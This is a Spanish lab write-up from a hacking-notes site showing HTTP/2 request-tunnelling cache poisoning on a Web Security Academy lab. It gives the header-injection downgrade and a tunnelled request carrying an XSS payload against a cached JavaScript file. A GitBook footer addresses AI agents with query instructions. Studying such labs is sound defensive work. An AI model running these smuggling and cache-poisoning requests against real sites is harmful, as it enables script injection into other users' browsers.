> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).

# Envenenamiento de caché web mediante tunelización de solicitudes HTTP/2

### Envenenamiento de caché web mediante túnel de solicitudes HTTP/2

Este laboratorio es vulnerable al contrabando de solicitudes porque el servidor frontal degrada las solicitudes HTTP/2 a HTTP/1.1 y no limpia correctamente algunos encabezados entrantes. / El objetivo es envenenar la caché para que, cuando la víctima visite la página de inicio, su navegador ejecute `alert(1)`. / Un usuario víctima accede automáticamente a la página cada 15 segundos.

El servidor frontal no reutiliza conexiones con el back-end. Por lo tanto, los ataques clásicos de contrabando no funcionan, pero el túnel de solicitudes sigue siendo utilizable.

Hay un mecanismo de caché en la página de inicio.

<figure><img src="/files/5c76f43edb7b669e2d6fac5022059a1289b61230" alt=""><figcaption></figcaption></figure>

#### Forzar una degradación a HTTP/1.1

En los encabezados, se puede imponer una interpretación HTTP/1.1 construyendo el siguiente tipo:

{% code title="Valor" %}

```http
/post HTTP/1.1
Prueba:
```

{% endcode %}

Aunque esto genera un error que indica que el `Prueba` encabezado no existe, muestra que la solicitud es reinterpretada por el frontal.

<figure><img src="/files/ac9b0e7804ba76ee8c2c59b0801bce1a99b586cc" alt=""><figcaption></figcaption></figure>

#### Inyección en un recurso estático

Al apuntar al archivo JavaScript del laboratorio, observamos que añadir un parámetro parecido a un script se refleja en la respuesta

```http
/resources/labheader/js?<script>alert(0)</script>
```

Por lo tanto, el recurso es sensible al envenenamiento de la caché.

<figure><img src="/files/1fc9ee1b71801c1e537a54da97d81c6447d97802" alt=""><figcaption></figcaption></figure>

#### Construcción de la solicitud tunelizada

Luego envía una solicitud adicional encapsulando una nueva consulta HTTP/1.1 en el cuerpo:

```http
/ HTTP/1.1
Prueba: prueba

GET /resources/labheader/js?<script>alert(0)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 0a5f0056044523a1803062c000bb00e3.web-security-academy.net
```

Esta carga es reinterpretada por el servidor después del túnel. / El contenido inyectado se reescribe en la respuesta del recurso JavaScript, permitiéndote envenenar la caché.

Cuando la víctima vuelve a visitar la página de inicio, su navegador carga esta versión envenenada y ejecuta `alert(1)`.

<figure><img src="/files/bec58c6dff903556b6777d4ca4970240ae4a008a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.